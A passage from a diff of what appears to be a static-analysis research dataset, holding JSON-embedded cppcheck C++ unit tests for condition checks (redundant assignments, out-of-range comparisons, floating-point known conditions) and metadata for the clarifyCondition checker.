redundant\\n\", errout_str());\n\n check(\"void f(int& x, int y) {\\n\"\n \" if (x == y)\\n\"\n \" x = y;\\n\"\n \" else\\n\"\n \" x = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: style: Assignment 'x=y' is redundant with condition 'x==y'. [duplicateConditionalAssign]\\n\"\n \"[test.cpp:2:11]: note: Condition 'x==y'\\n\"\n \"[test.cpp:3:11]: note: Assignment 'x=y' is redundant\\n\", errout_str());\n\n check(\"void f(int& x, int y) {\\n\"\n \" if (x != y)\\n\"\n \" x = y;\\n\"\n \" else\\n\"\n \" x = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int& x, int y) {\\n\"\n \" if (x == y)\\n\"\n \" x = y + 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g();\\n\"\n \"void f(int& x, int y) {\\n\"\n \" if (x == y) {\\n\"\n \" x = y;\\n\"\n \" g();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(bool b) {\\n\"\n \" if (b)\\n\"\n \" b = false;\\n\"\n \" else\\n\"\n \" g();\\n\"\n \" return b;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int& i) {\\n\"\n \" if (!i)\\n\"\n \" i = 1; \\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #9406\n \" S() : b(false) {}\\n\"\n \" void f() {\\n\"\n \" if (b) b = true;\\n\"\n \" if (b) b = false;\\n\"\n \" if (!b) b = true;\\n\"\n \" if (!b) b = false;\\n\"\n \" }\\n\"\n \" bool b;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: style: The statement 'if (b) b=true' is redundant. [duplicateConditionalAssign]\\n\"\n \"[test.cpp:4:18]: note: Assignment 'b=true'\\n\"\n \"[test.cpp:4:13]: note: Condition 'b' is redundant\\n\"\n \"[test.cpp:5:13]: style: The statement 'if (b) b=false' is logically equivalent to 'b=false'. [duplicateConditionalAssign]\\n\"\n \"[test.cpp:5:18]: note: Assignment 'b=false'\\n\"\n \"[test.cpp:5:13]: note: Condition 'b' is redundant\\n\"\n \"[test.cpp:6:13]: style: The statement 'if (!b) b=true' is logically equivalent to 'b=true'. [duplicateConditionalAssign]\\n\"\n \"[test.cpp:6:19]: note: Assignment 'b=true'\\n\"\n \"[test.cpp:6:13]: note: Condition '!b' is redundant\\n\"\n \"[test.cpp:7:13]: style: The statement 'if (!b) b=false' is redundant. [duplicateConditionalAssign]\\n\"\n \"[test.cpp:7:19]: note: Assignment 'b=false'\\n\"\n \"[test.cpp:7:13]: note: Condition '!b' is redundant\\n\",\n errout_str());\n }\n\n void checkAssignmentInCondition() {\n check(\"void f(std::string s) {\\n\"\n \" if (s=\\\"123\\\"){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (style) Suspicious assignment in condition. Condition 's=\\\"123\\\"' is always true. [assignmentInCondition]\\n\", errout_str());\n\n check(\"void f(std::string *p) {\\n\"\n \" if (p=foo()){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(uint32_t u) {\\n\" // #2490\n \" if ((u = 0x00000000) || (u = 0xffffffff)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: (style) Condition 'u=0x00000000' is always false [knownConditionTrueFalse]\\n\"\n \"[test.cpp:2:32]: (style) Condition 'u=0xffffffff' is always true [knownConditionTrueFalse]\\n\",\n errout_str());\n }\n\n void compareOutOfTypeRange() {\n const Settings settingsUnix64 = settingsBuilder().severity(Severity::style).platform(Platform::Type::Unix64).build();\n\n check(\"void f(unsigned char c) {\\n\"\n \" if (c == 256) {}\\n\"\n \"}\", dinit(CheckOptions, $.s = &settingsUnix64));\n ASSERT_EQUALS(\"[test.cpp:2:12]: (style) Comparing expression of type 'unsigned char' against value 256. Condition is always false. [compareValueOutOfTypeRangeError]\\n\", errout_str());\n\n check(\"void f(unsigned char* b, int i) {\\n\" // #6372\n \" if (b[i] == 256) {}\\n\"\n \"}\", dinit(CheckOptions, $.s = &settingsUnix64));\n ASSERT_EQUALS(\"[test.cpp:2:15]: (style) Comparing expression of type 'unsigned char' against value 256. Condition is always false. [compareValueOutOfTypeRangeError]\\n\", errout_str());\n\n check(\"void f(unsigned char c) {\\n\"\n \" if (c == 255) {}\\n\"\n \"}\", dinit(CheckOptions, $.s = &settingsUnix64));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool b) {\\n\"\n \" if (b == true) {}\\n\"\n \"}\", dinit(CheckOptions, $.s = &settingsUnix64));\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10372\n check(\"void f(signed char x) {\\n\"\n \" if (x == 0xff) {}\\n\"\n \"}\", dinit(CheckOptions, $.s = &settingsUnix64));\n ASSERT_EQUALS(\"[test.cpp:2:12]: (style) Comparing expression of type 'signed char' against value 255. Condition is always false. [compareValueOutOfTypeRangeError]\\n\", errout_str());\n\n check(\"void f(short x) {\\n\"\n \" if (x == 0xffff) {}\\n\"\n \"}\", dinit(CheckOptions, $.s = &settingsUnix64));\n ASSERT_EQUALS(\"[test.cpp:2:12]: (style) Comparing expression of type 'signed short' against value 65535. Condition is always false. [compareValueOutOfTypeRangeError]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x == 0xffffffff) {}\\n\"\n \"}\", dinit(CheckOptions, $.s = &settingsUnix64));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(long x) {\\n\"\n \" if (x == ~0L) {}\\n\"\n \"}\", dinit(CheckOptions, $.s = &settingsUnix64));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(long long x) {\\n\"\n \" if (x == ~0LL) {}\\n\"\n \"}\", dinit(CheckOptions, $.s = &settingsUnix64));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int x) {\\n\"\n \" const int i = 0xFFFFFFFF;\\n\"\n \" if (x == i) {}\\n\"\n \"}\", dinit(CheckOptions, $.s = &settingsUnix64));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" char c;\\n\"\n \" if ((c = foo()) != -1) {}\\n\"\n \"}\", dinit(CheckOptions, $.s = &settingsUnix64));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x < 3000000000) {}\\n\"\n \"}\", dinit(CheckOptions, $.s = &settingsUnix64));\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Comparing expression of type 'signed int' against value 3000000000. Condition is always true. [compareValueOutOfTypeRangeError]\\n\", errout_str());\n\n check(\"void f(const signed char i) {\\n\" // #8545\n \" if (i > -129) {}\\n\" // warn\n \" if (i >= -128) {}\\n\" // warn\n \" if (i >= -127) {}\\n\"\n \" if (i < +128) {}\\n\" // warn\n \" if (i <= +127) {}\\n\" // warn\n \" if (i <= +126) {}\\n\"\n \"}\\n\", dinit(CheckOptions, $.s = &settingsUnix64));\n ASSERT_EQUALS(\"[test.cpp:2:15]: (style) Comparing expression of type 'const signed char' against value -129. Condition is always true. [compareValueOutOfTypeRangeError]\\n\"\n \"[test.cpp:3:15]: (style) Comparing expression of type 'const signed char' against value -128. Condition is always true. [compareValueOutOfTypeRangeError]\\n\"\n \"[test.cpp:5:15]: (style) Comparing expression of type 'const signed char' against value 128. Condition is always true. [compareValueOutOfTypeRangeError]\\n\"\n \"[test.cpp:6:15]: (style) Comparing expression of type 'const signed char' against value 127. Condition is always true. [compareValueOutOfTypeRangeError]\\n\",\n errout_str());\n\n check(\"void f(const unsigned char u) {\\n\"\n \" if (u > 0) {}\\n\"\n \" if (u < 0) {}\\n\" // warn\n \" if (u >= 0) {}\\n\" // warn\n \" if (u <= 0) {}\\n\"\n \" if (u > 255) {}\\n\" // warn\n \" if (u < 255) {}\\n\"\n \" if (u >= 255) {}\\n\"\n \" if (u <= 255) {}\\n\" // warn\n \" if (0 < u) {}\\n\"\n \" if (0 > u) {}\\n\" // warn\n \" if (0 <= u) {}\\n\" // warn\n \" if (0 >= u) {}\\n\"\n \" if (255 < u) {}\\n\" // warn\n \" if (255 > u) {}\\n\"\n \" if (255 <= u) {}\\n\"\n \" if (255 >= u) {}\\n\" // warn\n \"}\\n\", dinit(CheckOptions, $.s = &settingsUnix64));\n ASSERT_EQUALS(\"[test.cpp:3:14]: (style) Comparing expression of type 'const unsigned char' against value 0. Condition is always false. [compareValueOutOfTypeRangeError]\\n\"\n \"[test.cpp:4:14]: (style) Comparing expression of type 'const unsigned char' against value 0. Condition is always true. [compareValueOutOfTypeRangeError]\\n\"\n \"[test.cpp:6:14]: (style) Comparing expression of type 'const unsigned char' against value 255. Condition is always false. [compareValueOutOfTypeRangeError]\\n\"\n \"[test.cpp:9:14]: (style) Comparing expression of type 'const unsigned char' against value 255. Condition is always true. [compareValueOutOfTypeRangeError]\\n\"\n \"[test.cpp:11:9]: (style) Comparing expression of type 'const unsigned char' against value 0. Condition is always false. [compareValueOutOfTypeRangeError]\\n\"\n \"[test.cpp:12:9]: (style) Comparing expression of type 'const unsigned char' against value 0. Condition is always true. [compareValueOutOfTypeRangeError]\\n\"\n \"[test.cpp:14:9]: (style) Comparing expression of type 'const unsigned char' against value 255. Condition is always false. [compareValueOutOfTypeRangeError]\\n\"\n \"[test.cpp:17:9]: (style) Comparing expression of type 'const unsigned char' against value 255. Condition is always true. [compareValueOutOfTypeRangeError]\\n\",\n errout_str());\n }\n\n void knownConditionCast() {\n check(\"void f(int i) {\\n\" // #9976\n \" if (i < 0 || (unsigned)i > 5) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct B {\\n\" // #12941\n \" virtual void f();\\n\"\n \"};\\n\"\n \"struct One : public B {};\\n\"\n \"struct Two : public B {};\\n\"\n \"void g(const B& b) {\\n\"\n \" const Two* two = nullptr;\\n\"\n \" const One* one = dynamic_cast(&b);\\n\"\n \" if (one == nullptr)\\n\"\n \" two = dynamic_cast(&b);\\n\"\n \" if (two) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void knownConditionIncrementLoop() { // #9808\n check(\"void f() {\\n\"\n \" int a = 0;\\n\"\n \" while (++a < 5) {}\\n\"\n \" if (a == 1) {}\\n\"\n \" std::cout << a;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void knownConditionAfterBailout() { // #12526\n check(\n \"#include \\n\"\n \"int func()\\n\"\n \"{\\n\"\n \" return VALUE_1;\"\n \"}\\n\"\n \"\\n\"\n \"struct S1 {\\n\"\n \" bool b{};\\n\"\n \"};\\n\"\n \"\\n\"\n \"struct S {\\n\"\n \" void f(const std::list& l) const\\n\"\n \" {\\n\"\n \" if (mS.b)\\n\"\n \" return;\\n\"\n \" for (int i : l)\\n\"\n \" {\\n\"\n \" (void)i;\\n\"\n \" if (mS.b)\\n\"\n \" continue;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"\\n\"\n \" S1 mS;\\n\"\n \"};\"\n );\n ASSERT_EQUALS(\"[test.cpp:13:11] -> [test.cpp:18:13]: (style) Condition 'mS.b' is always false [knownConditionTrueFalse]\\n\", errout_str());\n }\n\n void knownConditionIncDecOperator() {\n check(\n \"void f() {\\n\"\n \" unsigned int d = 0;\\n\"\n \" for (int i = 0; i < 4; ++i) {\\n\"\n \" if (i < 3)\\n\"\n \" ++d;\\n\"\n \" else if (--d == 0)\\n\"\n \" ;\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void knownConditionFloating() {\n check(\"void foo() {\\n\" // #11199\n \" float f = 1.0;\\n\"\n \" if (f > 1.0f) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Condition 'f>1.0f' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void foo() {\\n\" // #11199\n \" float f = 1.0;\\n\"\n \" if (f > 1.0L) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Condition 'f>1.0L' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void foo() {\\n\" // #11199\n \" float f = 1.0f;\\n\"\n \" if (f > 1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Condition 'f>1.0' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void foo() {\\n\" // #11199\n \" float f = 1.0f;\\n\"\n \" if (f > 1.0L) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Condition 'f>1.0L' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void foo() {\\n\" // #11199\n \" float f = 1.0L;\\n\"\n \" if (f > 1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Condition 'f>1.0' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void foo() {\\n\" // #11199\n \" float f = 1.0L;\\n\"\n \" if (f > 1.0f) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Condition 'f>1.0f' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void foo() {\\n\" // #11201\n \" float f = 0x1.4p+3;\\n\" // hex fraction 1.4 (decimal 1.25) scaled by 2^3, that is 10.0\n \" if (f > 9.9) {}\\n\"\n \" if (f < 9.9) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:3:11]: (style) Condition 'f>9.9' is always true [knownConditionTrueFalse]\\n\"\n \"[test.cpp:4:11]: (style) Condition 'f<9.9' is always false [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #12330\n \" double d = 1.0;\\n\"\n \" if (d < 0.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Condition 'd<0.0' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void foo() {\\n\" // #12330\n \" long double ld = 1.0;\\n\"\n \" if (ld < 0.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: (style) Condition 'ld<0.0' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void foo() {\\n\" // #12330\n \" float f = 1.0;\\n\"\n \" if (f < 0.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Condition 'f<0.0' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void foo() {\\n\" // #12774\n \" float f = 1.0f;\\n\"\n \" if (f > 1.01f) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:3:11]: (style) Condition 'f>1.01f' is always false [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #12774\n \" float f = 1.0;\\n\"\n \" if (f > 1.01) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:3:11]: (style) Condition 'f>1.01' is always false [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\"\n \" float f = 1.0f;\\n\"\n \" if (f > 1) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:3:11]: (style) Condition 'f>1' is always false [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13508\n \" float f = 1.0f;\\n\"\n \" if (f > 1.00f) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\n \"[test.cpp:3]: (style) Condition 'f>1.00f' is always false\\n\",\n \"\",\n errout_str());\n\n check(\"void foo() {\\n\"\n \" float f = 1.0;\\n\"\n \" if (f > 1) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:3:11]: (style) Condition 'f>1' is always false [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\"// #13508\n \" float f = 1.0;\\n\"\n \" if (f > 1.00) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\n \"[test.cpp:3]: (style) Condition 'f>1.00' is always false\\n\",\n \"\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13506\n \" float nf = -1.0;\\n\"\n \" if (nf > +1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:3:12]: (style) Condition 'nf>+1.0' is always false [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #11200\n \" float f = 1.0;\\n\"\n \" if (f > -1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:3:11]: (style) Condition 'f>-1.0' is always true [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13508\n \" float f = 1.0;\\n\"\n \" if (f > 1.0) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\n \"[test.cpp:3]: (style) Condition 'f>1.0' is always true\\n\",\n \"\",\n errout_str());\n\n check(\"void foo() {\\n\" // #11200\n \" float pf = +1.0;\\n\"\n \" if (pf > -1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:3:12]: (style) Condition 'pf>-1.0' is always true [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13508\n \" float pf = +1.0;\\n\"\n \" if (pf > 1.0) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\n \"[test.cpp:3]: (style) Condition 'pf>1.0' is always true\\n\",\n \"\",\n errout_str());\n\n check(\"void foo() {\\n\" // #11200\n \" float nf = -1.0;\\n\"\n \" if (nf > 1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:3:12]: (style) Condition 'nf>1.0' is always false [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // / #13508\n \" float nf = -1.0;\\n\"\n \" if (nf > -1.0) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\n \"[test.cpp:3]: (style) Condition 'nf>-1.0' is always false\\n\",\n \"\",\n errout_str());\n }\n};\n\nREGISTER_TEST(TestCondition)\n" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckCondition/clarifyCondition.json b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckCondition/clarifyCondition.json new file mode 100644 index 0000000..b049946 --- /dev/null +++ b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckCondition/clarifyCondition.json @@ -0,0 +1,29 @@ +{ + "name": "clarifyCondition", + "language": "cpp", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "cpp", + "loc": 36, + "branches": 18, + "apis": 61, + "test": [ + { + "description": null, + "expected-problems": 8, + "expected-linenumbers": [ + 3009, + 3112, + 3129, + 3179, + 3194, + 3200, + 3209, + 3218 + ], + "code": "\n/*\n * Cppcheck - A tool for static C/C++ code analysis\n * Copyright (C) 2007-2025 Cppcheck team.\n *\n * This program is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program. If not, see .\n */\n\n#include \"checkcondition.h\"\n#include \"errortypes.h\"\n#include \"fixture.h\"\n#include \"helpers.h\"\n#include \"platform.h\"\n#include \"settings.h\"\n\n#include \n#include \n#include \n\nclass TestCondition : public TestFixture {\npublic:\n TestCondition() : TestFixture(\"TestCondition\") {}\n\nprivate:\n const Settings settings0 = settingsBuilder().library(\"qt.cfg\").library(\"std.cfg\").severity(Severity::style).severity(Severity::warning).build();\n /*const*/ Settings settings1 = settingsBuilder().severity(Severity::style).severity(Severity::warning).build();\n\n void run() override {\n const char cfg[] = \"\\n\"\n \"\\n\"\n \" \\n\"\n \"\";\n settings1 = settingsBuilder(settings1).libraryxml(cfg).build();\n\n mNewTemplate = true;\n TEST_CASE(assignAndCompare); // assignment and comparison don't match\n TEST_CASE(mismatchingBitAnd); // overlapping bitmasks\n TEST_CASE(comparison); // CheckCondition::comparison test cases\n TEST_CASE(multicompare); // mismatching comparisons\n TEST_CASE(overlappingElseIfCondition); // overlapping conditions in if and else-if\n TEST_CASE(oppositeElseIfCondition); // opposite conditions in if and else-if\n\n TEST_CASE(checkBadBitmaskCheck);\n\n TEST_CASE(incorrectLogicOperator1);\n TEST_CASE(incorrectLogicOperator2);\n TEST_CASE(incorrectLogicOperator3);\n TEST_CASE(incorrectLogicOperator4);\n TEST_CASE(incorrectLogicOperator5); // complex expressions\n TEST_CASE(incorrectLogicOperator6); // char literals\n TEST_CASE(incorrectLogicOperator7); // opposite expressions: (expr || !expr)\n TEST_CASE(incorrectLogicOperator8); // !\n TEST_CASE(incorrectLogicOperator9);\n TEST_CASE(incorrectLogicOperator10); // enum\n TEST_CASE(incorrectLogicOperator11);\n TEST_CASE(incorrectLogicOperator12);\n TEST_CASE(incorrectLogicOperator13);\n TEST_CASE(incorrectLogicOperator14);\n TEST_CASE(incorrectLogicOperator15);\n TEST_CASE(incorrectLogicOperator16); // #10070\n TEST_CASE(incorrectLogicOperator17);\n TEST_CASE(secondAlwaysTrueFalseWhenFirstTrueError);\n TEST_CASE(incorrectLogicOp_condSwapping);\n TEST_CASE(testBug5895);\n TEST_CASE(testBug5309);\n\n TEST_CASE(modulo);\n\n TEST_CASE(oppositeInnerCondition);\n TEST_CASE(oppositeInnerConditionPointers);\n TEST_CASE(oppositeInnerConditionClass);\n TEST_CASE(oppositeInnerConditionUndeclaredVariable);\n TEST_CASE(oppositeInnerConditionAlias);\n TEST_CASE(oppositeInnerCondition2);\n TEST_CASE(oppositeInnerCondition3);\n TEST_CASE(oppositeInnerConditionAnd);\n TEST_CASE(oppositeInnerConditionOr);\n TEST_CASE(oppositeInnerConditionEmpty);\n TEST_CASE(oppositeInnerConditionFollowVar);\n TEST_CASE(oppositeInnerConditionLambda);\n\n TEST_CASE(identicalInnerCondition);\n\n TEST_CASE(identicalConditionAfterEarlyExit);\n TEST_CASE(innerConditionModified);\n\n TEST_CASE(clarifyCondition1); // if (a = b() < 0)\n TEST_CASE(clarifyCondition2); // if (a & b == c)\n TEST_CASE(clarifyCondition3); // if (! a & b)\n TEST_CASE(clarifyCondition4); // ticket #3110\n TEST_CASE(clarifyCondition5); // #3609 CWinTraits..\n TEST_CASE(clarifyCondition6); // #3818\n TEST_CASE(clarifyCondition7);\n TEST_CASE(clarifyCondition8);\n\n TEST_CASE(alwaysTrue);\n TEST_CASE(alwaysTrueSymbolic);\n TEST_CASE(alwaysTrueInfer);\n TEST_CASE(alwaysTrueContainer);\n TEST_CASE(alwaysTrueLoop);\n TEST_CASE(alwaysTrueTryCatch);\n TEST_CASE(multiConditionAlwaysTrue);\n TEST_CASE(duplicateCondition);\n\n TEST_CASE(checkInvalidTestForOverflow);\n TEST_CASE(checkConditionIsAlwaysTrueOrFalseInsideIfWhile);\n TEST_CASE(alwaysTrueFalseInLogicalOperators);\n TEST_CASE(pointerAdditionResultNotNull);\n TEST_CASE(duplicateConditionalAssign);\n\n TEST_CASE(checkAssignmentInCondition);\n TEST_CASE(compareOutOfTypeRange);\n TEST_CASE(knownConditionCast); // #9976\n TEST_CASE(knownConditionIncrementLoop); // #9808\n TEST_CASE(knownConditionAfterBailout); // #12526\n TEST_CASE(knownConditionIncDecOperator);\n TEST_CASE(knownConditionFloating);\n }\n\n struct CheckOptions\n {\n CheckOptions() = default;\n const Settings* s = nullptr;\n bool cpp = true;\n bool inconclusive = false;\n };\n\n#define check(...) check_(__FILE__, __LINE__, __VA_ARGS__)\n void check_(const char* file, int line, const char code[], const CheckOptions& options = make_default_obj()) {\n const Settings settings = settingsBuilder(options.s ? *options.s : settings0).certainty(Certainty::inconclusive, options.inconclusive).build();\n\n SimpleTokenizer2 tokenizer(settings, *this, code, options.cpp ? \"test.cpp\" : \"test.c\");\n\n // Tokenizer..\n ASSERT_LOC(tokenizer.simplifyTokens1(\"\"), file, line);\n\n // Run checks..\n runChecks(tokenizer, this);\n }\n\n#define checkP(...) checkP_(__FILE__, __LINE__, __VA_ARGS__)\n void checkP_(const char* file, int line, const char code[])\n {\n const Settings settings = settingsBuilder(settings0).severity(Severity::performance).certainty(Certainty::inconclusive).build();\n\n SimpleTokenizer2 tokenizer(settings, *this, code, \"test.cpp\");\n\n // Tokenizer..\n ASSERT_LOC(tokenizer.simplifyTokens1(\"\"), file, line);\n\n // Run checks..\n runChecks(tokenizer, this);\n }\n\n void assignAndCompare() {\n // &\n check(\"void foo(int x)\\n\"\n \"{\\n\"\n \" int y = x & 4;\\n\"\n \" if (y == 3);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11] -> [test.cpp:4:8]: (style) Mismatching assignment and comparison, comparison 'y==3' is always false. [assignIfError]\\n\", errout_str());\n\n check(\"void foo(int x)\\n\"\n \"{\\n\"\n \" int y = x & 4;\\n\"\n \" if (y != 3);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11] -> [test.cpp:4:8]: (style) Mismatching assignment and comparison, comparison 'y!=3' is always true. [assignIfError]\\n\", errout_str());\n\n // |\n check(\"void foo(int x) {\\n\"\n \" int y = x | 0x14;\\n\"\n \" if (y == 0x710);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11] -> [test.cpp:3:8]: (style) Mismatching assignment and comparison, comparison 'y==0x710' is always false. [assignIfError]\\n\", errout_str());\n\n check(\"void foo(int x) {\\n\"\n \" int y = x | 0x14;\\n\"\n \" if (y == 0x71f);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // various simple assignments\n check(\"void foo(int x) {\\n\"\n \" int y = (x+1) | 1;\\n\"\n \" if (y == 2);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11] -> [test.cpp:3:8]: (style) Mismatching assignment and comparison, comparison 'y==2' is always false. [assignIfError]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" int y = 1 | x();\\n\"\n \" if (y == 2);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11] -> [test.cpp:3:8]: (style) Mismatching assignment and comparison, comparison 'y==2' is always false. [assignIfError]\\n\", errout_str());\n\n // multiple conditions\n check(\"void foo(int x) {\\n\"\n \" int y = x & 4;\\n\"\n \" if ((y == 3) && (z == 1));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11] -> [test.cpp:3:9]: (style) Mismatching assignment and comparison, comparison 'y==3' is always false. [assignIfError]\\n\", errout_str());\n\n check(\"void foo(int x) {\\n\"\n \" int y = x & 4;\\n\"\n \" if ((x==123) || ((y == 3) && (z == 1)));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11] -> [test.cpp:3:22]: (style) Mismatching assignment and comparison, comparison 'y==3' is always false. [assignIfError]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" int y = x & 7;\\n\"\n \" if (setvalue(&y) && y != 8);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // recursive checking into scopes\n check(\"void f(int x) {\\n\"\n \" int y = x & 7;\\n\"\n \" if (z) y=0;\\n\"\n \" else { if (y==8); }\\n\" // always false\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11] -> [test.cpp:4:15]: (style) Mismatching assignment and comparison, comparison 'y==8' is always false. [assignIfError]\\n\", errout_str());\n\n // while\n check(\"void f(int x) {\\n\"\n \" int y = x & 7;\\n\"\n \" while (y==8);\\n\" // local variable => always false\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11] -> [test.cpp:3:11]: (style) Mismatching assignment and comparison, comparison 'y==8' is always false. [assignIfError]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" extern int y; y = x & 7;\\n\"\n \" while (y==8);\\n\" // non-local variable => no error\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" int a = 100;\\n\"\n \" while (x) {\\n\"\n \" int y = 16 | a;\\n\"\n \" while (y != 0) y--;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(int x);\\n\"\n \"void f(int x) {\\n\"\n \" int a = 100;\\n\"\n \" while (x) {\\n\"\n \" int y = 16 | a;\\n\"\n \" while (y != 0) g(y);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:5:15] -> [test.cpp:6:15]: (style) Mismatching assignment and comparison, comparison 'y!=0' is always true. [assignIfError]\\n\",\n errout_str());\n\n check(\"void g(int &x);\\n\"\n \"void f(int x) {\\n\"\n \" int a = 100;\\n\"\n \" while (x) {\\n\"\n \" int y = 16 | a;\\n\"\n \" while (y != 0) g(y);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // calling function\n check(\"void f(int x) {\\n\"\n \" int y = x & 7;\\n\"\n \" do_something();\\n\"\n \" if (y==8);\\n\" // local variable => always false\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11] -> [test.cpp:4:8]: (style) Mismatching assignment and 